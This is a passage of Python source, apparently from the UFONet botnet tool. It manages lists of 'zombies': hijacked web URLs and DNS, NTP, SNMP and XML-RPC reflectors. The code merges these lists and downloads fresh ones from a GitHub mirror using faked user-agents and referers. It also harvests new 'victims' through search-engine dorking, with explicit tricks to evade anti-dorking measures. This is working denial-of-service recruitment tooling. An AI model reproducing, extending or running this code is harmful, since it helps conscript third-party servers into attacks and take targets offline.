  3219. aliens = fz.readlines()
  3220. aliens = [alien.strip() for alien in aliens]
  3221. fz.close()
  3222. at = open('botnet/aliens.txt', 'a')
  3223. for troop in troops:
  3224. if troop not in aliens:
  3225. aliens_added = aliens_added + 1
  3226. at.write(troop+os.linesep)
  3227. else:
  3228. pass
  3229. at.close()
  3230. os.remove('botnet/troops.txt') # remove troops file
  3231. print("[Info] [Radar] [Blackhole] Added [Aliens] : " + str(aliens_added))
  3232. ucavs = self.extract_ucavs()
  3233. if not ucavs:
  3234. return
  3235. ucavs_added = 0
  3236. if os.path.isfile('botnet/drones.txt'):
  3237. f = open('botnet/drones.txt')
  3238. drones = f.readlines()
  3239. drones = [drone.strip() for drone in drones]
  3240. f.close()
  3241. fz = open(self.ucavs_file)
  3242. ucavs = fz.readlines()
  3243. ucavs = [ucav.strip() for ucav in ucavs]
  3244. fz.close()
  3245. au = open('botnet/ucavs.txt', 'a')
  3246. for drone in drones:
  3247. if drone not in ucavs:
  3248. ucavs_added = ucavs_added + 1
  3249. au.write(drone+os.linesep)
  3250. else:
  3251. pass
  3252. au.close()
  3253. os.remove('botnet/drones.txt') # remove ucavs file
  3254. print("[Info] [Radar] [Blackhole] Added [UCAVs] : " + str(ucavs_added))
  3255. rpcs = self.extract_rpcs()
  3256. if not rpcs:
  3257. return
  3258. rpcs_added = 0
  3259. if os.path.isfile('botnet/reflectors.txt'):
  3260. f = open('botnet/reflectors.txt')
  3261. reflectors = f.readlines()
  3262. reflectors = [reflector.strip() for reflector in reflectors]
  3263. f.close()
  3264. fz = open(self.rpcs_file)
  3265. rpcs = fz.readlines()
  3266. rpcs = [rpc.strip() for rpc in rpcs]
  3267. fz.close()
  3268. ar = open('botnet/rpcs.txt', 'a')
  3269. for reflector in reflectors:
  3270. if reflector not in rpcs:
  3271. rpcs_added = rpcs_added + 1
  3272. ar.write(reflector+os.linesep)
  3273. else:
  3274. pass
  3275. ar.close()
  3276. os.remove('botnet/reflectors.txt') # remove rpcs file
  3277. print("[Info] [Radar] [Blackhole] Added [X-RPCs] : " + str(rpcs_added))
  3278. ntps = self.extract_ntps()
  3279. if not ntps:
  3280. return
  3281. ntps_added = 0
  3282. if os.path.isfile('botnet/crystals.txt'):
  3283. f = open('botnet/crystals.txt')
  3284. crystals = f.readlines()
  3285. crystals = [crystal.strip() for crystal in crystals]
  3286. f.close()
  3287. fz = open(self.ntps_file)
  3288. ntps = fz.readlines()
  3289. ntps = [ntp.strip() for ntp in ntps]
  3290. fz.close()
  3291. an = open('botnet/ntp.txt', 'a')
  3292. for crystal in crystals:
  3293. if crystal not in ntps:
  3294. ntps_added = ntps_added + 1
  3295. an.write(crystal+os.linesep)
  3296. else:
  3297. pass
  3298. an.close()
  3299. os.remove('botnet/crystals.txt') # remove crystals file
  3300. print("[Info] [Radar] [Blackhole] Added [NTPs] : " + str(ntps_added))
  3301. dnss = self.extract_dnss()
  3302. if not dnss:
  3303. return
  3304. dnss_added = 0
  3305. if os.path.isfile('botnet/warps.txt'):
  3306. f = open('botnet/warps.txt')
  3307. warps = f.readlines()
  3308. warps = [warp.strip() for warp in warps]
  3309. f.close()
  3310. fz = open(self.dnss_file)
  3311. dnss = fz.readlines()
  3312. dnss = [dns.strip() for dns in dnss]
  3313. fz.close()
  3314. ad = open('botnet/dns.txt', 'a')
  3315. for warp in warps:
  3316. if warp not in dnss:
  3317. dnss_added = dnss_added + 1
  3318. ad.write(warp+os.linesep)
  3319. else:
  3320. pass
  3321. ad.close()
  3322. os.remove('botnet/warps.txt') # remove warps file
  3323. print("[Info] [Radar] [Blackhole] Added [DNSs] : " + str(dnss_added))
  3324. snmps = self.extract_snmps()
  3325. if not snmps:
  3326. return
  3327. snmps_added = 0
  3328. if os.path.isfile('botnet/bosons.txt'):
  3329. f = open('botnet/bosons.txt')
  3330. bosons = f.readlines()
  3331. bosons = [boson.strip() for boson in bosons]
  3332. f.close()
  3333. fz = open(self.snmps_file)
  3334. snmps = fz.readlines()
  3335. snmps = [snmp.strip() for snmp in snmps]
  3336. fz.close()
  3337. asn = open('botnet/snmp.txt', 'a')
  3338. for boson in bosons:
  3339. if boson not in snmps:
  3340. snmps_added = snmps_added + 1
  3341. asn.write(boson+os.linesep)
  3342. else:
  3343. pass
  3344. asn.close()
  3345. os.remove('botnet/bosons.txt') # remove snmps file
  3346. print("[Info] [Radar] [Blackhole] Added [SNMPs] : " + str(snmps_added))
  3347. print('-'*12 + '\n')
  3348. if zombies_added == 0 and aliens_added == 0 and droids_added == 0 and ucavs_added == 0 and rpcs_added == 0 and ntps_added == 0 and dnss_added == 0 and snmps_added == 0: # not any zombie
  3349. print("[AI] [Control] [Radar] [Blackhole] [Node] These [Zombies] are already in your [Army] -> [Passing!]")
  3350. print('-'*12 + '\n')
  3351. else:
  3352. total_zombies = zombies_added + aliens_added + droids_added + ucavs_added + rpcs_added + ntps_added + dnss_added + snmps_added
  3353. print("[Info] [AI] Congratulations!. Total [Zombies] added: " + str(total_zombies))
  3354. print('-'*12)
  3355. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  3356. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3357. stream = str(enc_globalnet_owner)+self.globalnet_msg_sep+str(enc_globalnet_comment)+self.globalnet_msg_sep+str(enc_globalnet_warp)+self.globalnet_msg_sep+str(enc_globalnet_ip)
  3358. globalnet_list.append(stream+os.linesep)
  3359. print('='*22 + '\n')
  3360. if globalnet_list is not None:
  3361. f = open(self.globalnet_file, "w") # write to globalnet.txt
  3362. for node in globalnet_list:
  3363. f.write(node)
  3364. f.close()
  3365. def downloading_github_list(self):
  3366. # add your mirror to protect/share/distribute... [Zombies]
  3367. try:
  3368. print("[AI] Trying [Blackhole] [GitHub]: "+self.github_zombies+"\n")
  3369. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3370. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3371. if self.options.timeout: # set timeout
  3372. try:
  3373. timeout = int(self.options.timeout)
  3374. except:
  3375. timeout = 5
  3376. else:
  3377. timeout = 5
  3378. if timeout < 1:
  3379. timeout = 5
  3380. if self.options.proxy: # set proxy
  3381. self.proxy_transport(self.options.proxy)
  3382. try:
  3383. req = urllib.request.Request(self.github_zombies+'zombies.txt', None, headers)
  3384. zombies_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3385. except:
  3386. zombies_reply = ""
  3387. try:
  3388. req = urllib.request.Request(self.github_zombies+'aliens.txt', None, headers)
  3389. aliens_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3390. except:
  3391. aliens_reply = ""
  3392. try:
  3393. req = urllib.request.Request(self.github_zombies+'dns.txt', None, headers)
  3394. dns_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3395. except:
  3396. dns_reply = ""
  3397. try:
  3398. req = urllib.request.Request(self.github_zombies+'droids.txt', None, headers)
  3399. droids_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3400. except:
  3401. droids_reply = ""
  3402. try:
  3403. req = urllib.request.Request(self.github_zombies+'rpcs.txt', None, headers)
  3404. rpcs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3405. except:
  3406. rpcs_reply = ""
  3407. try:
  3408. req = urllib.request.Request(self.github_zombies+'ucavs.txt', None, headers)
  3409. ucavs_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3410. except:
  3411. ucavs_reply = ""
  3412. try:
  3413. req = urllib.request.Request(self.github_zombies+'ntp.txt', None, headers)
  3414. ntp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3415. except:
  3416. ntp_reply = ""
  3417. try:
  3418. req = urllib.request.Request(self.github_zombies+'snmp.txt', None, headers)
  3419. snmp_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3420. except:
  3421. snmp_reply = ""
  3422. if zombies_reply == "" and aliens_reply == "" and dns_reply == "" and droids_reply == "" and rpcs_reply == "" and ucavs_reply == "" and ntp_reply == "" and snmp_reply == "":
  3423. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3424. print('-'*12 + '\n')
  3425. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3426. return
  3427. f = open('botnet/abductions.txt', 'w') # zombies
  3428. f.write(zombies_reply)
  3429. f.close()
  3430. f = open('botnet/troops.txt', 'w') # aliens
  3431. f.write(aliens_reply)
  3432. f.close()
  3433. f = open('botnet/crystals.txt', 'w') # dns
  3434. f.write(dns_reply)
  3435. f.close()
  3436. f = open('botnet/robots.txt', 'w') # droids
  3437. f.write(droids_reply)
  3438. f.close()
  3439. f = open('botnet/drones.txt', 'w') # ucavs
  3440. f.write(ucavs_reply)
  3441. f.close()
  3442. f = open('botnet/reflectors.txt', 'w') # rpcs
  3443. f.write(rpcs_reply)
  3444. f.close()
  3445. f = open('botnet/warps.txt', 'w') # ntp
  3446. f.write(ntp_reply)
  3447. f.close()
  3448. f = open('botnet/bosons.txt', 'w') # snmp
  3449. f.write(snmp_reply)
  3450. f.close()
  3451. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX READY!] ;-)")
  3452. except:
  3453. print("[AI] [Control] [Blackhole] [GitHub] Reply: [VORTEX FAILED!]")
  3454. print('-'*12 + '\n')
  3455. print("[Error] [AI] Unable to download list of [Zombies] from this [Blackhole] [GitHub] -> [Exiting!]\n")
  3456. return
  3457. print('-'*12 + '\n')
  3458. num_abductions = 0
  3459. with open('botnet/abductions.txt') as f: # zombies
  3460. for _ in f:
  3461. num_abductions = num_abductions + 1
  3462. print("[Info] Zombies: " + str(num_abductions))
  3463. num_troops = 0
  3464. with open('botnet/troops.txt') as f: # aliens
  3465. for _ in f:
  3466. num_troops = num_troops + 1
  3467. print("[Info] Aliens : " + str(num_troops))
  3468. num_robots = 0
  3469. with open('botnet/robots.txt') as f: # droids
  3470. for _ in f:
  3471. num_robots = num_robots + 1
  3472. print("[Info] Droids : " + str(num_robots))
  3473. num_drones = 0
  3474. with open('botnet/drones.txt') as f: # ucavs
  3475. for _ in f:
  3476. num_drones = num_drones + 1
  3477. print("[Info] UCAVs : " + str(num_drones))
  3478. num_reflectors = 0
  3479. with open('botnet/reflectors.txt') as f: # rpcs
  3480. for _ in f:
  3481. num_reflectors = num_reflectors + 1
  3482. print("[Info] X-RPCs : " + str(num_reflectors))
  3483. num_crystals = 0
  3484. with open('botnet/crystals.txt') as f: # dns
  3485. for _ in f:
  3486. num_crystals = num_crystals + 1
  3487. print("[Info] DNSs : " + str(num_crystals))
  3488. num_warps = 0
  3489. with open('botnet/warps.txt') as f: # ntp
  3490. for _ in f:
  3491. num_warps = num_warps + 1
  3492. print("[Info] NTPs : " + str(num_warps))
  3493. num_bosons = 0
  3494. with open('botnet/bosons.txt') as f: # snmp
  3495. for _ in f:
  3496. num_bosons = num_bosons + 1
  3497. print("[Info] SNMPs : " + str(num_bosons))
  3498. total_zombies = num_abductions + num_troops + num_crystals + num_robots + num_drones + num_reflectors + num_warps + num_bosons
  3499. print("\n[Info] [AI] Congratulations!. Total downloaded: " + str(total_zombies))
  3500. print('-'*12)
  3501. if not self.options.forceyes:
  3502. update_reply = input("\n[AI] Do you want to merge ONLY the new 'troops' into your army? (Y/n)")
  3503. print('-'*25)
  3504. else:
  3505. update_reply = "Y"
  3506. if update_reply == "n" or update_reply == "N":
  3507. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3508. os.remove('botnet/troops.txt') # remove aliens/troops file
  3509. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3510. os.remove('botnet/robots.txt') # remove droids/robots file
  3511. os.remove('botnet/drones.txt') # remove ucavs/drones file
  3512. os.remove('botnet/reflectors.txt') # remove rpcs/reflectors file
  3513. os.remove('botnet/warps.txt') # remove ntp/warps file
  3514. os.remove('botnet/bosons.txt') # remove snmp/bosons file
  3515. print("\n[Info] [AI] [Control] Temporal list downloaded has been removed! -> [Exiting!]")
  3516. print('-'*25)
  3517. print("\n[AI] "+self.exit_msg+"\n")
  3518. else:
  3519. zombies_ready = []
  3520. f = open('botnet/abductions.txt')
  3521. abductions = f.readlines()
  3522. f.close()
  3523. fz = open(self.zombies_file)
  3524. zombies = fz.readlines()
  3525. fz.close()
  3526. for abduction in abductions:
  3527. abduction = abduction.replace('\n','')
  3528. if abduction not in zombies:
  3529. zombies_ready.append(abduction)
  3530. else:
  3531. pass
  3532. self.update_zombies(zombies_ready)
  3533. os.remove('botnet/abductions.txt') # remove zombies/abductions file
  3534. aliens_ready = []
  3535. f = open('botnet/troops.txt')
  3536. troops = f.readlines()
  3537. f.close()
  3538. fz = open(self.aliens_file)
  3539. aliens = fz.readlines()
  3540. fz.close()
  3541. for alien in troops:
  3542. alien = alien.replace('\n','')
  3543. if alien not in aliens:
  3544. aliens_ready.append(alien)
  3545. else:
  3546. pass
  3547. self.update_aliens(aliens_ready)
  3548. os.remove('botnet/troops.txt') # remove aliens/troops file
  3549. dnss_ready = []
  3550. f = open('botnet/crystals.txt')
  3551. crystals = f.readlines()
  3552. f.close()
  3553. fz = open(self.dnss_file)
  3554. dnss = fz.readlines()
  3555. fz.close()
  3556. for crystal in crystals:
  3557. crystal = crystal.replace('\n','')
  3558. if crystal not in dnss:
  3559. dnss_ready.append(crystal)
  3560. else:
  3561. pass
  3562. self.update_dnss(dnss_ready)
  3563. os.remove('botnet/crystals.txt') # remove dns/crystals file
  3564. droids_ready = []
  3565. f = open('botnet/robots.txt')
  3566. robots = f.readlines()
  3567. f.close()
  3568. fz = open(self.droids_file)
  3569. droids = fz.readlines()
  3570. fz.close()
  3571. for droid in robots:
  3572. droid = droid.replace('\n','')
  3573. if droid not in droids:
  3574. droids_ready.append(droid)
  3575. else:
  3576. pass
  3577. self.update_droids(droids_ready)
  3578. os.remove('botnet/robots.txt') # remove droids/robots file
  3579. ucavs_ready = []
  3580. f = open('botnet/drones.txt')
  3581. drones = f.readlines()
  3582. f.close()
  3583. fz = open(self.ucavs_file)
  3584. ucavs = fz.readlines()
  3585. fz.close()
  3586. for drone in drones:
  3587. drone = drone.replace('\n','')
  3588. if drone not in ucavs:
  3589. ucavs_ready.append(drone)
  3590. else:
  3591. pass
  3592. self.update_ucavs(ucavs_ready)
  3593. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  3594. rpcs_ready = []
  3595. f = open('botnet/reflectors.txt')
  3596. reflectors = f.readlines()
  3597. f.close()
  3598. fz = open(self.rpcs_file)
  3599. rpcs = fz.readlines()
  3600. fz.close()
  3601. for reflector in reflectors:
  3602. reflector = reflector.replace('\n','')
  3603. if reflector not in rpcs:
  3604. rpcs_ready.append(reflector)
  3605. else:
  3606. pass
  3607. self.update_rpcs(rpcs_ready)
  3608. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  3609. ntps_ready = []
  3610. f = open('botnet/warps.txt')
  3611. warps = f.readlines()
  3612. f.close()
  3613. fz = open(self.ntps_file)
  3614. ntps = fz.readlines()
  3615. fz.close()
  3616. for warp in warps:
  3617. warp = warp.replace('\n','')
  3618. if warp not in ntps:
  3619. ntps_ready.append(warp)
  3620. else:
  3621. pass
  3622. self.update_ntps(ntps_ready)
  3623. os.remove('botnet/warps.txt') # remove NTP/warps file
  3624. snmps_ready = []
  3625. f = open('botnet/bosons.txt')
  3626. bosons = f.readlines()
  3627. f.close()
  3628. fz = open(self.snmps_file)
  3629. snmps = fz.readlines()
  3630. fz.close()
  3631. for boson in bosons:
  3632. boson = boson.replace('\n','')
  3633. if boson not in snmps:
  3634. snmps_ready.append(boson)
  3635. else:
  3636. pass
  3637. self.update_snmps(snmps_ready)
  3638. os.remove('botnet/bosons.txt') # remove SNMP/bosons file
  3639. print("\n[Info] [AI] Botnet updated! -> ;-)")
  3640. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  3641. if not self.options.forceyes: # ask for update everything
  3642. print('-'*25 + "\n")
  3643. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  3644. else:
  3645. update_reply = "Y"
  3646. if update_reply == "n" or update_reply == "N":
  3647. print("\n[AI] "+self.exit_msg+"\n")
  3648. return
  3649. else:
  3650. try:
  3651. update_gui = self.update_gui_data() # update GUI data
  3652. except:
  3653. print('-'*25 +"\n")
  3654. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  3655. print('-'*25)
  3656. print("\n[AI] "+self.exit_msg+"\n")
  3657. return
  3658. def uploading_github_list(self):
  3659. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  3660. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  3661. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  3662. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  3663. print('='*22 + '\n')
  3664. print("[AI] "+self.exit_msg+"\n")
  3665. def create_web_interface(self):
  3666. # launch webserver+gui
  3667. from .webgui import ClientThread
  3668. import webbrowser
  3669. host = '0.0.0.0'
  3670. port = 9999
  3671. try:
  3672. webbrowser.open('http://127.0.0.1:9999', new=1)
  3673. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3674. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  3675. tcpsock.bind((host,port))
  3676. while True:
  3677. tcpsock.listen(4)
  3678. (clientsock, (ip, port)) = tcpsock.accept()
  3679. newthread = ClientThread(ip, port, clientsock)
  3680. newthread.start()
  3681. except (KeyboardInterrupt, SystemExit):
  3682. sys.exit()
  3683. def extract_dorks(self):
  3684. # extract dorks from file (ex: 'dorks.txt')
  3685. try:
  3686. f = open(self.dorks_file)
  3687. dorks = f.readlines()
  3688. dorks = [ dork.replace('\n','') for dork in dorks ]
  3689. f.close()
  3690. if not dorks:
  3691. if not options.autosearch:
  3692. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3693. return
  3694. else:
  3695. return dorks
  3696. except:
  3697. if not options.autosearch:
  3698. if os.path.exists(self.dorks_file) == True:
  3699. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3700. return #sys.exit(2)
  3701. else:
  3702. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  3703. return #sys.exit(2)
  3704. else:
  3705. return
  3706. def search_zombies(self, dork, zombies_found):
  3707. # crawlering on search engine results to extract zombies
  3708. options = self.options
  3709. zombies = []
  3710. if not options.engine: # default search engine
  3711. options.engine = 'duck'
  3712. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  3713. url = 'https://www.bing.com/search?'
  3714. if options.search: # search from query
  3715. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3716. if options.dorks or options.autosearch: # search from a dork
  3717. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3718. start = 0 # set index number of first entry
  3719. query_string = { 'q':q, 'first':start }
  3720. data = urllib.parse.urlencode(query_string)
  3721. url = url + data
  3722. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3723. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3724. if options.verbose:
  3725. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3726. try:
  3727. if options.proxy: # set proxy
  3728. self.proxy_transport(options.proxy)
  3729. req = urllib.request.Request(url, None, headers)
  3730. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3731. except:
  3732. print('[Error] [AI] Unable to connect to: bing\n')
  3733. if options.allengines or options.autosearch:
  3734. return
  3735. if not options.dorks or not options.autosearch:
  3736. if not self.options.forceyes:
  3737. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3738. else:
  3739. update_reply = "Y"
  3740. if update_reply == "n" or update_reply == "N":
  3741. return #sys.exit(2)
  3742. print("\nSearch engines available:")
  3743. print('-'*25)
  3744. for e in self.search_engines:
  3745. print("+ "+e)
  3746. print('-'*25)
  3747. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3748. return #sys.exit(2)
  3749. else:
  3750. req_reply = ''
  3751. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  3752. pattern = re.compile(regex)
  3753. url_links = re.findall(pattern, req_reply)
  3754. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  3755. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  3756. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  3757. location = str(random.choice(location).strip()) # shuffle location
  3758. if location == "jp": # [28/02/2019]
  3759. url = 'https://search.yahoo.co.jp/search?'
  3760. else:
  3761. url = 'https://'+location+'.search.yahoo.com/search?'
  3762. if options.search: # search from query
  3763. if location == "jp":
  3764. q = '"' + str(options.search) + '"' # set query to search literally on results
  3765. else:
  3766. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3767. if options.dorks or options.autosearch: # search from a dork
  3768. if location == "jp":
  3769. q = '"' + str(dork) + '"' # set query to search literally on results
  3770. else:
  3771. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3772. start = 0 # set index number of first entry
  3773. query_string = { 'p':q, 'b':start }
  3774. data = urllib.parse.urlencode(query_string)
  3775. url = url + data
  3776. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3777. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3778. if options.verbose:
  3779. print(("[Info] [AI] [DORKING] Query used: " + url + "\n"))
  3780. try:
  3781. if options.proxy: # set proxy
  3782. self.proxy_transport(options.proxy)
  3783. req = urllib.request.Request(url, None, headers)
  3784. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3785. except:
  3786. print('[Error] [AI] Unable to connect to: yahoo\n')
  3787. if options.allengines or options.autosearch:
  3788. return
  3789. if not options.dorks or not options.autosearch:
  3790. if not self.options.forceyes:
  3791. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3792. else:
  3793. update_reply = "Y"
  3794. if update_reply == "n" or update_reply == "N":
  3795. return #sys.exit(2)
  3796. print("\nSearch engines available:")
  3797. print('-'*25)
  3798. for e in self.search_engines:
  3799. print("+ "+e)
  3800. print('-'*25)
  3801. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  3802. return #sys.exit(2)
  3803. else:
  3804. req_reply = ''
  3805. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  3806. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  3807. pattern = re.compile(regex)
  3808. url_links = re.findall(pattern, req_reply)
  3809. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  3810. url = 'https://duckduckgo.com/html/'
  3811. if options.search: # search from query
  3812. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  3813. if options.dorks or options.autosearch: # search from a dork
  3814. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  3815. query_string = { 'q':q }
  3816. data = urllib.parse.urlencode(query_string)
  3817. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3818. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3819. if options.verbose:
  3820. print("[Info] [AI] [DORKING] Query used: " + url + " (POST: "+ data + ")\n")
  3821. try:
  3822. if options.proxy: # set proxy
  3823. self.proxy_transport(options.proxy)
  3824. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  3825. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  3826. except:
  3827. print('[Error] [AI] Unable to connect to: duck\n')
  3828. if options.allengines or options.autosearch:
  3829. return
  3830. if not options.dorks or not options.autosearch:
  3831. if not self.options.forceyes:
  3832. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3833. else:
  3834. update_reply = "Y"
  3835. if update_reply == "n" or update_reply == "N":
  3836. return #sys.exit(2)
  3837. print("\nSearch engines available:")
  3838. print('-'*25)
  3839. for e in self.search_engines:
  3840. print("+ "+e)
  3841. print('-'*25)
  3842. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3843. return #sys.exit(2)
  3844. else:
  3845. req_reply = ''
  3846. regex = 'snippet" href="(.+?)">' # regex magics
  3847. pattern = re.compile(regex)
  3848. url_links = re.findall(pattern, req_reply)
  3849. else: # no valid search engine
  3850. print('[Error] [AI] This search engine is not supported!\n')
  3851. if not options.dorks or options.autosearch:
  3852. if not self.options.forceyes:
  3853. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  3854. else:
  3855. update_reply = "Y"
  3856. if update_reply == "n" or update_reply == "N":
  3857. return #sys.exit(2)
  3858. print("\nSearch engines available:")
  3859. print('-'*25)
  3860. for e in self.search_engines:
  3861. print("+ "+e)
  3862. print('-'*25)
  3863. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  3864. return #sys.exit(2)
  3865. else:
  3866. req_reply = ''
  3867. if options.num_results: # set number of results to search
  3868. try:
  3869. num = int(options.num_results)
  3870. except:
  3871. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  3872. num = 10
  3873. else:
  3874. num = 10
  3875. total_results = 1
  3876. for url in url_links: # general parse on urls
  3877. if int(num) < int(total_results):
  3878. break
  3879. if options.engine == "bing":
  3880. if " h=" in url: # regex magics [18/08/2016]
  3881. url = url.rsplit('" h=',1)[0]
  3882. if options.engine == "yahoo":
  3883. if 'RU=' in url: # regex magics [18/08/2016]
  3884. url = url.rsplit('RU=',1)[1]
  3885. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  3886. url = url.rsplit('UTF-8&u=',1)[1]
  3887. total_results = total_results + 1 # results counter
  3888. url_link = urllib.parse.unquote(url) # unquote encoding
  3889. if options.search:
  3890. sep = str(options.search)
  3891. if options.dorks or options.autosearch:
  3892. sep = str(dork)
  3893. url_link = url_link.rsplit(sep, 1)[0] + sep
  3894. if 'href="' in url_link:
  3895. url_link = url_link.rsplit('href="', 1)[1]
  3896. if "instreamset" in url_link: # invalid zombie
  3897. url_link = "" # discarded
  3898. if '" ' in url_link:
  3899. url_link = url_link.rsplit('" ', 1)[1]
  3900. if options.engine in url_link:
  3901. url_link = "" # discarded
  3902. if 'http' not in url_link:
  3903. url_link = "" # discarded
  3904. else:
  3905. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link != "": # AI mode (parsing search engines mixed pool and stored army)
  3906. print('+Victim found: ' + url_link)
  3907. zombies.append(url_link)
  3908. else:
  3909. pass
  3910. if len(zombies) == 0: # print dorking results
  3911. print("[Info] [AI] NOT any NEW victim(s) found for this query!\n")
  3912. if not options.dorks:
  3913. if not options.autosearch:
  3914. if not self.options.forceyes:
  3915. return #sys.exit(2)
  3916. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  3917. print("")
  3918. return zombies
  3919. def check_nat(self):
  3920. # check for NAT configuration
  3921. options = self.options
  3922. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  3923. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  3924. check_ip_service = None
  3925. if not tor_reply or 'Congratulations' not in tor_reply:
  3926. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  3927. else:
  3928. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  3929. self.nat_error_flag = "ON"
  3930. return #sys.exit(2)
  3931. try:
  3932. data = str(urllib.request.urlopen(self.check_ip_service1).read()) # check for public ip
  3933. self.pub_ip = re.compile(r'(\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  3934. check_ip_service = self.check_ip_service1
  3935. except:
  3936. try: # another check for public ip
  3937. data = str(urllib.request.urlopen(self.check_ip_service2).read())
  3938. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  3939. check_ip_service = self.check_ip_service2
  3940. except:
  3941. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  3942. self.nat_error_flag = "ON"
  3943. return
  3944. t = urlparse(check_ip_service)
  3945. name_service = t.netloc
  3946. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  3947. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  3948. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  3949. self.local_ip = s.getsockname()[0]
  3950. print(" + Local: " + self.local_ip + "\n")
  3951. print('='*22 + '\n')
  3952. def extract_ucavs(self):
  3953. # extract ucavs from file
  3954. options = self.options
  3955. try:
  3956. f = open(self.ucavs_file)
  3957. ucavs = f.readlines()
  3958. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  3959. f.close()
  3960. if not ucavs:
  3961. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  3962. self.options.disableucavs = True
  3963. return
  3964. else:
  3965. return ucavs
  3966. except:
  3967. if os.path.exists(self.ucavs_file) == True:
